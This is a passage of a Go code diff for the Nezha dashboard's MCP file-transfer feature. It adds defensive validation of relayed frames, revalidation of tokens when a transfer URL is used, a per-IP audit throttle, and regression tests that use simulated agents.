HTTP response +// to 502, which forces us to defer the body write until the final NZTO +// frame is observed; but we MUST NOT pay 100MiB of heap per concurrent +// download to do so. +func relayDownloadFrames(c *gin.Context, stream io.ReadWriteCloser, size int64) error { + spool, err := newTransferSpool() + if err != nil { + c.String(http.StatusInternalServerError, "transfer spool: "+err.Error()) + return err + } + defer spool.Close() + + // Hash the relayed bytes inline; we compare against the trailing + // NZTO declared sha256 in validateDownloadFinal so corrupt or + // truncated agent payloads can't reach the client. + hasher := sha256.New() + streamed := int64(0) + + remaining := size + header := make([]byte, 4+8) + for remaining > 0 { + if _, err := io.ReadFull(stream, header); err != nil { + c.String(http.StatusBadGateway, "stream relay failed: "+err.Error()) + return err + } + if bytes.HasPrefix(header, model.MCPFsXferMagicErr) { + msg := readMidstreamErrMsg(stream, header) + c.String(http.StatusBadGateway, msg) + return errMCPMidstreamAbort + } + if !bytes.HasPrefix(header, model.MCPFsXferMagicChunk) { + c.String(http.StatusBadGateway, "stream relay failed: expected NZTC chunk frame") + return errMCPMidstreamAbort + } + chunkLen := binary.BigEndian.Uint64(header[4:12]) + if chunkLen == 0 { + // A zero-length data frame makes no progress toward `remaining`. + // Treating it as a no-op `continue` lets a malicious or buggy + // agent stream an unbounded run of zero-length NZTC frames, + // pinning this goroutine, the gRPC stream and the spool tmpfile + // forever (the final NZTO is never reached). Reject it: a real + // transfer that still owes bytes never needs an empty data frame. + c.String(http.StatusBadGateway, "stream relay failed: zero-length data frame while payload incomplete") + return errMCPMidstreamAbort + } + if int64(chunkLen) > remaining { + c.String(http.StatusBadGateway, "agent oversent: more data bytes than declared size") + return errMCPMidstreamAbort + } + n, err := io.CopyN(io.MultiWriter(spool, hasher), stream, int64(chunkLen)) + if err != nil { + c.String(http.StatusBadGateway, "stream relay failed: "+err.Error()) + return err + } + streamed += n + remaining -= n + } + + final := make([]byte, 4+8+32) + if _, err := io.ReadFull(stream, final); err != nil { + c.String(http.StatusBadGateway, "agent did not send final transfer frame: "+err.Error()) + return errMCPMidstreamAbort + } + if bytes.HasPrefix(final, model.MCPFsXferMagicErr) { + msg := readMidstreamErrMsg(stream, final[:4+8]) + c.String(http.StatusBadGateway, msg) + return errMCPMidstreamAbort + } + if err := validateDownloadFinal(final, streamed, hasher.Sum(nil)); err != nil { + c.String(http.StatusBadGateway, err.Error()) + return errMCPMidstreamAbort + } + + if err := spool.Rewind(); err != nil { + c.String(http.StatusInternalServerError, "transfer spool rewind: "+err.Error()) + return err + } + c.Header("Content-Type", "application/octet-stream") + c.Header("Content-Length", strconv.FormatInt(size, 10)) + if _, writeErr := io.Copy(c.Writer, spool); writeErr != nil { + return writeErr + } + return nil +} + +// validateDownloadFinal cross-checks the trailing NZTO frame against the +// payload the dashboard actually relayed: +// - magic must be NZTO (defence-in-depth; the relay already checked). +// - frame must be the full 44 bytes (magic 4 + size 8 + sha256 32). +// - declared size must match streamed byte count exactly. +// - declared sha256 must match the streamed sha256, with one allowed +// "explicit skip" form: all-zero declared hash means agent could not +// compute a hash and we accept the size-only check. +// +// Without this gate a truncated or wrong-hash NZTO is silently accepted +// and the dashboard serves possibly-corrupt bytes to the HTTP client. +func validateDownloadFinal(final []byte, streamedSize int64, streamedSHA256 []byte) error { + if len(final) < 4 || !bytes.Equal(final[:4], model.MCPFsXferMagicOK) { + return errors.New("download final frame: unexpected magic") + } + if len(final) < 4+8+32 { + return errors.New("download final frame: truncated header (need size + sha256)") + } + declaredSize := binary.BigEndian.Uint64(final[4:12]) + if uint64(streamedSize) != declaredSize { + return errors.New("download final frame: declared size does not match streamed bytes") + } + declaredSHA := final[12:44] + allZero := true + for _, b := range declaredSHA { + if b != 0 { + allZero = false + break + } + } + if allZero { + return nil + } + if len(streamedSHA256) < 32 { + return errors.New("download final frame: streamed sha256 too short to compare") + } + if !bytes.Equal(declaredSHA, streamedSHA256[:32]) { + return errors.New("download final frame: declared sha256 does not match streamed bytes") + } + return nil +} + +// midstreamErrMsgCap 限制错误帧 payload 的累计读取量。错误消息只作 string +// 用，没有上限的话恶意/有 bug 的 agent 可在 NZTE 后持续发 256 字节块（且不 +// 关流），让 dashboard goroutine 内存无界增长或永久阻塞。读满 cap 即停止。 +const midstreamErrMsgCap = 8 << 10 + +func readMidstreamErrMsg(stream io.Reader, header []byte) string { + rest := make([]byte, 0, 256) + tail := make([]byte, 256) + for len(rest) < midstreamErrMsgCap { + n, err := stream.Read(tail) + if n > 0 { + room := midstreamErrMsgCap - len(rest) + if n > room { + n = room + } + rest = append(rest, tail[:n]...) + } + if err != nil || n < len(tail) { + break + } + } + return string(header[len(model.MCPFsXferMagicErr):]) + string(rest) +} + +var errMCPMidstreamAbort = errors.New("mcp transfer: aborted mid-stream by agent") + +// fsTransferXferHeader 是 dashboard 解析 NZTU/NZTD/NZTO/NZTE 后得到的统一 +// 结构。Magic 与 model.MCPFsXferMagic* 对照判断帧类型。 +type fsTransferXferHeader struct { + Magic []byte + Size int64 + SHA256 []byte + ErrMsg string +} + +func (h *fsTransferXferHeader) IsErr() bool { + return bytes.Equal(h.Magic, model.MCPFsXferMagicErr) +} + +// readXferFixedHeader 读取一帧 IOStream 数据并解析。每条 agent 控制帧都在 +// 单条 IOStreamData 内完整发送（agent 端用 stream.Send(buf) 整块写），所以 +// 一次 8KiB 缓冲即可拿到完整帧；不需要跨帧拼接。 +// +// 心跳帧（空 Data）由 agent 那侧的 ioStreamKeepAlive 周期性下发，io.Read +// 不会暴露空读，因此这里不必特殊跳过。 +func readXferFixedHeader(stream io.Reader) (*fsTransferXferHeader, error) { + buf := make([]byte, 4+8+32+512) + n, err := stream.Read(buf) + if err != nil { + return nil, err + } + return readXferFixedHeaderFromBytes(buf[:n]) +} + +// readXferFixedHeaderFromBytes parses a fully-received transfer control +// frame. Extracted so a malicious-input regression suite can pin the +// uint64→int64 overflow gate: raw u64 size > MCPFsTransferMaxSize or +// > MaxInt64 must be rejected BEFORE narrowing, otherwise the cap check +// later in the handler sees a wrapped negative value and lets the +// transfer through. +func readXferFixedHeaderFromBytes(raw []byte) (*fsTransferXferHeader, error) { + if len(raw) < 4 { + return nil, errors.New("frame too short") + } + magic := raw[:4] + out := &fsTransferXferHeader{Magic: append([]byte(nil), magic...)} + switch { + case bytes.Equal(magic, model.MCPFsXferMagicErr): + out.ErrMsg = string(raw[4:]) + return out, nil + case bytes.Equal(magic, model.MCPFsXferMagicUploadHdr): + if len(raw) < 4+8 { + return nil, errors.New("upload header too short") + } + size, err := xferSizeFromU64(binary.BigEndian.Uint64(raw[4:12])) + if err != nil { + return nil, err + } + out.Size = size + return out, nil + case bytes.Equal(magic, model.MCPFsXferMagicDownloadHdr): + if len(raw) < 4+8+32 { + return nil, errors.New("download header too short") + } + size, err := xferSizeFromU64(binary.BigEndian.Uint64(raw[4:12])) + if err != nil { + return nil, err + } + out.Size = size + out.SHA256 = append([]byte(nil), raw[12:44]...) + return out, nil + case bytes.Equal(magic, model.MCPFsXferMagicOK): + if len(raw) < 4+8+32 { + return nil, errors.New("ok header too short") + } + size, err := xferSizeFromU64(binary.BigEndian.Uint64(raw[4:12])) + if err != nil { + return nil, err + } + out.Size = size + out.SHA256 = append([]byte(nil), raw[12:44]...) + return out, nil + default: + return nil, errors.New("unexpected frame magic") + } +} + +// xferSizeFromU64 caps the raw u64 size carried by an NZTU/NZTD/NZTO frame +// at MCPFsTransferMaxSize AND math.MaxInt64. Both bounds matter: the cap +// keeps the protocol invariant, the MaxInt64 floor keeps later int64 +// arithmetic safe even if MCPFsTransferMaxSize is ever raised above +// MaxInt64 by accident. +func xferSizeFromU64(raw uint64) (int64, error) { + if raw > uint64(model.MCPFsTransferMaxSize) { + return 0, errors.New("declared size exceeds MCP transfer cap") + } + if raw > math.MaxInt64 { + return 0, errors.New("declared size overflows int64") + } + return int64(raw), nil +} + +// revalidateTransferEntry 在消费一次性 URL 时重新检查 mint 阶段的全部前置。 +// 这是 mint→consume 之间发生权限变化（PAT 吊销、scope/whitelist 收紧、 +// server 转手）时的兜底闸门：HMAC 签发与 sync.Map 一次性消费机制本身只能 +// 防伪造与防重放，无法感知后端状态。 +func revalidateTransferEntry(e *transferEntry) error { + if singleton.Conf == nil || !singleton.Conf.MCPEnabled() { + return errors.New("MCP is disabled by the dashboard administrator") + } + var tok model.APIToken + if err := singleton.DB.First(&tok, e.TokenID).Error; err != nil { + return errors.New("originating api token no longer exists") + } + // Bind the reloaded token back to the minting user. If the original PAT + // was deleted and its numeric primary key reused by a different user's + // token, the row would still load here; without this check the stale + // one-time URL would be revalidated against an unrelated token. + if tok.UserID != e.UserID { + return errors.New("originating api token no longer exists") + } + if tok.IsExpired(time.Now()) { + return errors.New("originating api token expired") + } + wantScope := model.ScopeServerRead + if e.Direction == transferDirUpload { + wantScope = model.ScopeServerWrite + } + if !tok.HasScope(wantScope) { + return errors.New("originating api token no longer has required scope") + } + if !tok.CanAccessServer(e.ServerID) { + return errors.New("originating api token no longer covers target server") + } + srv, _ := singleton.ServerShared.Get(e.ServerID) + if srv == nil { + return errors.New("target server no longer exists") + } + var user model.User + if err := singleton.DB.First(&user, e.UserID).Error; err != nil { + return errors.New("originating user no longer exists") + } + if user.Role != model.RoleAdmin && srv.GetUserID() != e.UserID { + return errors.New("target server is no longer owned by the originating user") + } + return nil +} diff --git a/cmd/dashboard/controller/mcp_transfer_audit_throttle.go b/cmd/dashboard/controller/mcp_transfer_audit_throttle.go new file mode 100644 index 00000000..66a1895a --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_audit_throttle.go @@ -0,0 +1,72 @@ +package controller + +import ( + "sync" + "time" +) + +// transferAnonAuditThrottle caps the number of audit rows written per +// source IP within a sliding window for transfer requests that failed +// before a valid `entry` could be loaded (bogus/expired/replayed token). +// +// Without this cap an unauthenticated attacker can POST millions of +// /mcp/upload/ requests; every miss invokes +// writeTransferFailureAudit which inserts into mcp_audit_log. The +// throttle keeps a small per-IP token bucket in memory and drops audit +// rows past the budget — successful and authenticated failures (entry +// != nil) bypass this gate entirely so SIEM signal is unaffected. +type transferAnonAuditThrottle struct { + mu sync.Mutex + window time.Duration + limit int + hits map[string]*anonHitBucket + clock func() time.Time +} + +type anonHitBucket struct { + firstAt time.Time + count int +} + +func newTransferAnonAuditThrottle(window time.Duration, perWindow int) *transferAnonAuditThrottle { + return &transferAnonAuditThrottle{ + window: window, + limit: perWindow, + hits: make(map[string]*anonHitBucket), + clock: time.Now, + } +} + +// shouldRecord reports whether the anonymous failure for this IP should +// land in the audit table. Empty ip is treated as "always record" since +// suppressing it would silently lose signal in test/headless contexts. +func (t *transferAnonAuditThrottle) shouldRecord(ip string) bool { + if ip == "" { + return true + } + t.mu.Lock() + defer t.mu.Unlock() + now := t.clock() + t.pruneLocked(now) + + b, ok := t.hits[ip] + if !ok || now.Sub(b.firstAt) >= t.window { + t.hits[ip] = &anonHitBucket{firstAt: now, count: 1} + return true + } + if b.count >= t.limit { + return false + } + b.count++ + return true +} + +func (t *transferAnonAuditThrottle) pruneLocked(now time.Time) { + for ip, b := range t.hits { + if now.Sub(b.firstAt) >= t.window { + delete(t.hits, ip) + } + } +} + +var transferAnonAuditThrottleShared = newTransferAnonAuditThrottle(time.Minute, 5) diff --git a/cmd/dashboard/controller/mcp_transfer_audit_throttle_test.go b/cmd/dashboard/controller/mcp_transfer_audit_throttle_test.go new file mode 100644 index 00000000..2b2f7088 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_audit_throttle_test.go @@ -0,0 +1,68 @@ +package controller + +import ( + "testing" + "time" +) + +// H8 regression: anonymous transfer failures (entry=nil — token was bogus +// or already consumed) must be sampled, not written to audit one-for-one. +// Otherwise any unauthenticated attacker can flood the audit table by +// repeatedly POSTing /mcp/upload/garbage. +func TestTransferAnonAuditThrottle_FirstRequestPasses(t *testing.T) { + th := newTransferAnonAuditThrottle(10*time.Second, 5) + + if !th.shouldRecord("1.2.3.4") { + t.Fatal("first anon failure from an IP must be recorded") + } +} + +func TestTransferAnonAuditThrottle_BurstCappedPerWindow(t *testing.T) { + th := newTransferAnonAuditThrottle(time.Minute, 3) + const ip = "5.6.7.8" + + recorded := 0 + for i := 0; i < 20; i++ { + if th.shouldRecord(ip) { + recorded++ + } + } + if recorded > 3 { + t.Fatalf("burst of 20 anon failures must be capped at 3 per window, got %d", recorded) + } + if recorded == 0 { + t.Fatal("burst must record at least one sample") + } +} + +func TestTransferAnonAuditThrottle_IndependentPerIP(t *testing.T) { + th := newTransferAnonAuditThrottle(time.Minute, 1) + + if !th.shouldRecord("a") { + t.Fatal("first request from IP a must be recorded") + } + if !th.shouldRecord("b") { + t.Fatal("first request from a different IP must not share IP a's budget") + } + if th.shouldRecord("a") { + t.Fatal("second request from IP a within window must be dropped") + } +} + +func TestTransferAnonAuditThrottle_WindowResets(t *testing.T) { + th := newTransferAnonAuditThrottle(20*time.Millisecond, 1) + const ip = "9.9.9.9" + + if !th.shouldRecord(ip) { + t.Fatal("first request must be recorded") + } + if th.shouldRecord(ip) { + t.Fatal("second request inside window must be dropped") + } + + time.Sleep(40 * time.Millisecond) + + if !th.shouldRecord(ip) { + t.Fatal("request after window expiry must be recorded again") + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_cancel_test.go b/cmd/dashboard/controller/mcp_transfer_cancel_test.go new file mode 100644 index 00000000..b5ed9d1e --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_cancel_test.go @@ -0,0 +1,169 @@ +package controller + +import ( + "context" + "encoding/json" + "fmt" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/grpcx" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func newFakeAgentIO() *grpcx.IOStreamWrapper { + return grpcx.NewIOStreamWrapper(&fakeAgentStream{closed: make(chan struct{})}) +} + +// fakeAgentStream mimics an attached-but-silent agent: Recv blocks until the +// wrapper is closed, exactly the post-attach state where nothing watches the +// per-transfer context. +type fakeAgentStream struct { + closed chan struct{} + closeOnce sync.Once + closeSeen chan struct{} + recvDone chan struct{} + closeCall atomic.Int32 +} + +func (f *fakeAgentStream) Recv() (*pb.IOStreamData, error) { + <-f.closed + close(f.recvDone) + return nil, context.Canceled +} +func (f *fakeAgentStream) Send(*pb.IOStreamData) error { return nil } +func (f *fakeAgentStream) Context() context.Context { return context.Background() } + +func (f *fakeAgentStream) closeEndpoint() { + f.closeOnce.Do(func() { close(f.closeSeen) }) +} + +func (f *fakeAgentStream) Close() error { + f.closeCall.Add(1) + f.closeEndpoint() + select { + case <-f.closed: + default: + close(f.closed) + } + return nil +} + +// transferRevokableContext only cancels a context; the post-attach relay +// (readXferFixedHeader / relayDownloadFrames / io.CopyN) and IOStreamWrapper.Read +// do not watch it. A revoked PAT (or a disconnected HTTP client) must still +// tear down the attached stream, else a stalled/compromised agent pins a +// dashboard goroutine + IOStream until restart. openFsTransferStream must wire +// ctx cancellation to CloseStream. +func TestOpenFsTransferStream_CancelClosesAttachedStream(t *testing.T) { + cleanupMCP, _ := setupMCPTest(t) + defer cleanupMCP() + singleton.Conf.SetMCPEnabled(true) + + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + + stream := newKillSwitchStream() + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = 7 + srv.SetTaskStream(stream) + sc.InsertForTest(srv) + originalShared := singleton.ServerShared + singleton.ServerShared = sc + t.Cleanup(func() { singleton.ServerShared = originalShared }) + + streamIDCh := make(chan string, 1) + agentStreamCh := make(chan *fakeAgentStream, 1) + attachReady := make(chan struct{}) + go func() { + task := <-stream.sent + var req model.FsTransferRequest + require.NoError(t, json.Unmarshal([]byte(task.GetData()), &req)) + streamIDCh <- req.StreamID + fakeAgent := &fakeAgentStream{closed: make(chan struct{}), closeSeen: make(chan struct{}), recvDone: make(chan struct{})} + agentStreamCh <- fakeAgent + require.NoError(t, rpc.NezhaHandlerSingleton.AgentConnected(req.StreamID, grpcx.NewIOStreamWrapper(fakeAgent))) + close(attachReady) + }() + + ctx, cancel := context.WithCancel(context.Background()) + streamIO, cleanup, err := openFsTransferStream(ctx, 7, &model.FsTransferRequest{ + Op: model.MCPFsTransferOpDownload, + Path: "/srv/file", + }) + require.NoError(t, err, "agent must attach so openFsTransferStream returns a live stream") + require.NotNil(t, streamIO) + defer cleanup() + + streamID := <-streamIDCh + <-attachReady + _, getErr := rpc.NezhaHandlerSingleton.GetStream(streamID) + require.NoError(t, getErr, "stream must be live before cancel") + agentStream := <-agentStreamCh + readDone := make(chan error, 1) + go func() { + _, readErr := streamIO.Read(make([]byte, 16)) + readDone <- readErr + }() + + cancel() + + select { + case <-readDone: + case <-time.After(time.Second): + t.Fatal("cancelling the transfer context must unblock the actual streamIO.Read") + } + select { + case <-agentStream.closeSeen: + case <-time.After(time.Second): + t.Fatal("cancelling the transfer context must close the fake agent endpoint") + } + select { + case <-agentStream.closed: + case <-time.After(time.Second): + t.Fatal("cancelling the transfer context must close the handler endpoint") + } + select { + case <-agentStream.recvDone: + case <-time.After(time.Second): + t.Fatal("cancelling the transfer context must let the fake handler exit") + } + require.Equal(t, int32(1), agentStream.closeCall.Load(), "attached endpoint must be closed exactly once") + require.Equal(t, 0, rpc.NezhaHandlerSingleton.StreamCount()) + for index := 0; index < 40; index++ { + require.NoError(t, rpc.NezhaHandlerSingleton.CreateStream(fmt.Sprintf("cancel-reuse-%d", index), 0, 7)) + } + require.ErrorIs(t, rpc.NezhaHandlerSingleton.CreateStream("cancel-reuse-over", 0, 7), rpc.ErrTooManyStreamsForServer) + for index := 0; index < 40; index++ { + require.NoError(t, rpc.NezhaHandlerSingleton.CloseStream(fmt.Sprintf("cancel-reuse-%d", index))) + } + require.Equal(t, 0, rpc.NezhaHandlerSingleton.StreamCount()) + + cleanupDone := make(chan struct{}) + go func() { + var wg sync.WaitGroup + for range 32 { + wg.Add(1) + go func() { + defer wg.Done() + cleanup() + }() + } + wg.Wait() + close(cleanupDone) + }() + select { + case <-cleanupDone: + case <-time.After(2 * time.Second): + t.Fatal("concurrent cleanup calls must complete") + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_consume_authz_test.go b/cmd/dashboard/controller/mcp_transfer_consume_authz_test.go new file mode 100644 index 00000000..aab41729 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_consume_authz_test.go @@ -0,0 +1,66 @@ +package controller + +import ( + "io" + "net/http" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestTransferConsume_RevokedTokenIsRejected(t *testing.T) { + ts, tok, cleanup := setupTransferTest(t, xferAgentDownloadSend([]byte("ok"))) + defer cleanup() + url := mintDownloadURL(t, ts, tok, "/srv/file") + + if err := singleton.DB.Where("token_hash = ?", model.HashAPIToken(tok)). + Delete(&model.APIToken{}).Error; err != nil { + t.Fatalf("revoke token: %v", err) + } + + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.Equalf(t, http.StatusUnauthorized, resp.StatusCode, + "download URL must return 401 after the originating PAT is revoked; body=%s", string(body)) +} + +func TestTransferConsume_NarrowedServerWhitelistIsRejected(t *testing.T) { + ts, tok, cleanup := setupTransferTest(t, xferAgentDownloadSend([]byte("ok"))) + defer cleanup() + url := mintDownloadURL(t, ts, tok, "/srv/file") + + var stored model.APIToken + require.NoError(t, singleton.DB.Where("token_hash = ?", model.HashAPIToken(tok)). + First(&stored).Error) + stored.SetServerIDs([]uint64{999}) + require.NoError(t, singleton.DB.Save(&stored).Error) + + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.Equalf(t, http.StatusUnauthorized, resp.StatusCode, + "download URL must return 401 after PAT server_ids no longer cover the target; body=%s", string(body)) +} + +func TestTransferConsume_ServerOwnershipChangeIsRejected(t *testing.T) { + ts, tok, cleanup := setupTransferTest(t, xferAgentDownloadSend([]byte("ok"))) + defer cleanup() + url := mintDownloadURL(t, ts, tok, "/srv/file") + + srv, _ := singleton.ServerShared.Get(7) + require.NotNil(t, srv) + srv.SetUserID(99999) + + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.Equalf(t, http.StatusUnauthorized, resp.StatusCode, + "download URL must return 401 after server is transferred away from the minting user; body=%s", string(body)) +} diff --git a/cmd/dashboard/controller/mcp_transfer_correctness_test.go b/cmd/dashboard/controller/mcp_transfer_correctness_test.go new file mode 100644 index 00000000..02ee4d01 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_correctness_test.go @@ -0,0 +1,588 @@ +package controller + +import ( + "bytes" + "context" + "encoding/binary" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// xferAgentSim 模拟 agent 在收到 TaskTypeFsTransfer 后的整个 IOStream 行为： +// - 通过 net.Pipe 拿到一个 in-memory 全双工流； +// - 把 dashboard 侧那一端塞进 rpc.NezhaHandlerSingleton.AgentConnected； +// - 在 agent 侧 goroutine 里跑 upload/download 的协议帧逻辑。 +// +// 该函数把"如果是真 agent 会做什么"全部就地展开，使 dashboard 端 transfer +// handler 能在没有真实 gRPC 链路的情况下完整跑过：mint→consume→stream→OK。 +type xferStreamMux struct { + agent func(req *model.FsTransferRequest, dashboardSide io.ReadWriteCloser) ([]byte, error) +} + +func (m *xferStreamMux) Send(t *pb.Task) error { + if t.GetType() != model.TaskTypeFsTransfer { + return nil + } + var req model.FsTransferRequest + if err := json.Unmarshal([]byte(t.GetData()), &req); err != nil { + return err + } + dashboardSide, agentSide := newFramedPipe() + if err := rpc.NezhaHandlerSingleton.AgentConnected(req.StreamID, dashboardSide); err != nil { + return err + } + go func() { + defer agentSide.Close() + _, _ = m.agent(&req, agentSide) + }() + return nil +} + +// framedPipe is a frame-preserving full-duplex in-memory stream pair used by +// the MCP transfer tests in place of net.Pipe. Each Write on one side becomes +// exactly one frame on the other side, so RecvFrame on dashboardSide observes +// the same frame boundaries production code sees via grpcx.IOStreamWrapper. +// net.Pipe coalesces bytes and would let an NZTE control frame's bytes spill +// into a previous data frame's parse — the very bug we are testing for. +type framedPipe struct { + in chan []byte + out chan []byte + closed chan struct{} + once *sync.Once + rest []byte +} + +func newFramedPipe() (*framedPipe, *framedPipe) { + closeCh := make(chan struct{}) + once := new(sync.Once) + a := make(chan []byte, 64) + b := make(chan []byte, 64) + return &framedPipe{in: a, out: b, closed: closeCh, once: once}, + &framedPipe{in: b, out: a, closed: closeCh, once: once} +} + +func (p *framedPipe) Write(buf []byte) (int, error) { + frame := append([]byte(nil), buf...) + select { + case p.out <- frame: + return len(buf), nil + case <-p.closed: + return 0, io.ErrClosedPipe + } +} + +func (p *framedPipe) Read(buf []byte) (int, error) { + if len(p.rest) > 0 { + n := copy(buf, p.rest) + p.rest = p.rest[n:] + return n, nil + } + select { + case frame, ok := <-p.in: + if !ok { + return 0, io.EOF + } + n := copy(buf, frame) + if n < len(frame) { + p.rest = frame[n:] + } + return n, nil + default: + } + select { + case frame, ok := <-p.in: + if !ok { + return 0, io.EOF + } + n := copy(buf, frame) + if n < len(frame) { + p.rest = frame[n:] + } + return n, nil + case <-p.closed: + return 0, io.EOF + } +} + +func (p *framedPipe) RecvFrame() ([]byte, error) { + if len(p.rest) > 0 { + out := p.rest + p.rest = nil + return out, nil + } + select { + case frame, ok := <-p.in: + if !ok { + return nil, io.EOF + } + return frame, nil + default: + } + select { + case frame, ok := <-p.in: + if !ok { + return nil, io.EOF + } + return frame, nil + case <-p.closed: + return nil, io.EOF + } +} + +func (p *framedPipe) Close() error { + p.once.Do(func() { close(p.closed) }) + return nil +} + +func (m *xferStreamMux) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (m *xferStreamMux) SetHeader(metadata.MD) error { return nil } +func (m *xferStreamMux) SendHeader(metadata.MD) error { return nil } +func (m *xferStreamMux) SetTrailer(metadata.MD) {} +func (m *xferStreamMux) Context() context.Context { return context.Background() } +func (m *xferStreamMux) SendMsg(any) error { return nil } +func (m *xferStreamMux) RecvMsg(any) error { return context.Canceled } + +// xferAgentUploadAccept 实现 NZTU + 接收 size 字节 + NZTO 的完整握手。把读到 +// 的原始字节作为返回值，方便测试断言。 +func xferAgentUploadAccept(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + got, err := xferAgentUploadRead(req, stream) + if err != nil { + return got, err + } + return got, xferAgentUploadAck(stream, uint64(len(got))) +} + +func xferAgentUploadRead(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + header := append([]byte(nil), model.MCPFsXferMagicUploadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(req.Size)) + header = append(header, sz...) + if _, err := stream.Write(header); err != nil { + return nil, err + } + got := make([]byte, 0, req.Size) + if req.Size > 0 { + buf := make([]byte, req.Size) + if _, err := io.ReadFull(stream, buf); err != nil { + return nil, err + } + got = buf + } + return got, nil +} + +func xferAgentUploadAck(stream io.ReadWriteCloser, size uint64) error { + ok := append([]byte(nil), model.MCPFsXferMagicOK...) + finalSize := make([]byte, 8) + binary.BigEndian.PutUint64(finalSize, size) + ok = append(ok, finalSize...) + ok = append(ok, make([]byte, 32)...) + _, err := stream.Write(ok) + return err +} + +// xferAgentDownloadSend 模拟 agent 向 dashboard 推 payload：发 NZTD、NZTC(chunk) +// 包装的 payload、最后 NZTO。NZTC 包装是 dashboard 区分数据帧与控制帧 +// （NZTE/NZTO）的唯一依据；离开它后 dashboard 没办法把首字节恰好等于 NZTE 的 +// 合法文件内容与真错误帧区分开。 +func xferAgentDownloadSend(payload []byte) func(*model.FsTransferRequest, io.ReadWriteCloser) ([]byte, error) { + return func(_ *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + hdr := append([]byte(nil), model.MCPFsXferMagicDownloadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(len(payload))) + hdr = append(hdr, sz...) + hdr = append(hdr, make([]byte, 32)...) + if _, err := stream.Write(hdr); err != nil { + return nil, err + } + if len(payload) > 0 { + chunk := append([]byte(nil), model.MCPFsXferMagicChunk...) + chunkLen := make([]byte, 8) + binary.BigEndian.PutUint64(chunkLen, uint64(len(payload))) + chunk = append(chunk, chunkLen...) + chunk = append(chunk, payload...) + if _, err := stream.Write(chunk); err != nil { + return nil, err + } + } + ok := append([]byte(nil), model.MCPFsXferMagicOK...) + ok = append(ok, sz...) + ok = append(ok, make([]byte, 32)...) + _, err := stream.Write(ok) + return payload, err + } +} + +// xferAgentError 模拟 agent 直接发 NZTE 拒绝。 +func xferAgentError(msg string) func(*model.FsTransferRequest, io.ReadWriteCloser) ([]byte, error) { + return func(_ *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + buf := append([]byte(nil), model.MCPFsXferMagicErr...) + buf = append(buf, msg...) + _, err := stream.Write(buf) + return nil, err + } +} + +func setupTransferTest(t *testing.T, agent func(*model.FsTransferRequest, io.ReadWriteCloser) ([]byte, error)) (*httptest.Server, string, func()) { + t.Helper() + cleanupBase, uid := setupMCPTest(t) + + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + + stream := &xferStreamMux{agent: agent} + srv, _ := singleton.ServerShared.Get(7) + srv.SetTaskStream(stream) + + _, plain := mkToken(t, uid, []string{ + model.ScopeServerRead, model.ScopeServerWrite, + }, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/mcp", apiTokenAuthMiddleware(), mcpEndpoint) + r.GET("/mcp/download/:token", transferDownloadHandler) + r.POST("/mcp/upload/:token", transferUploadHandler) + ts := httptest.NewServer(r) + return ts, plain, func() { + ts.Close() + rpc.NezhaHandlerSingleton = originalHandler + cleanupBase() + } +} + +func mintDownloadURL(t *testing.T, ts *httptest.Server, tok, path string) string { + t.Helper() + body := map[string]any{ + "jsonrpc": "2.0", "id": 1, "method": "tools/call", + "params": map[string]any{ + "name": "fs.download_url", + "arguments": map[string]any{"server_id": 7, "path": path, "ttl_seconds": 60}, + }, + } + b, _ := json.Marshal(body) + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader(b)) + req.Header.Set("Authorization", "Bearer "+tok) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + out, _ := io.ReadAll(resp.Body) + var env map[string]any + require.NoError(t, json.Unmarshal(out, &env)) + res, _ := env["result"].(map[string]any) + struc, _ := res["structuredContent"].(map[string]any) + url, _ := struc["url"].(string) + require.NotEmpty(t, url, "fs.download_url did not return url: %v", env) + return ts.URL + url[strings.Index(url, "/mcp/"):] +} + +// /mcp/download 必须把 agent 推过来的原始字节一字不差地交给 HTTP 客户端。 +func TestTransferDownload_ReturnsRawBinaryBytes(t *testing.T) { + want := []byte{0x00, 0x01, 0xFF, 0xAB, 'h', 'i'} + ts, tok, cleanup := setupTransferTest(t, xferAgentDownloadSend(want)) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/blob") + resp, err := http.Get(url) + 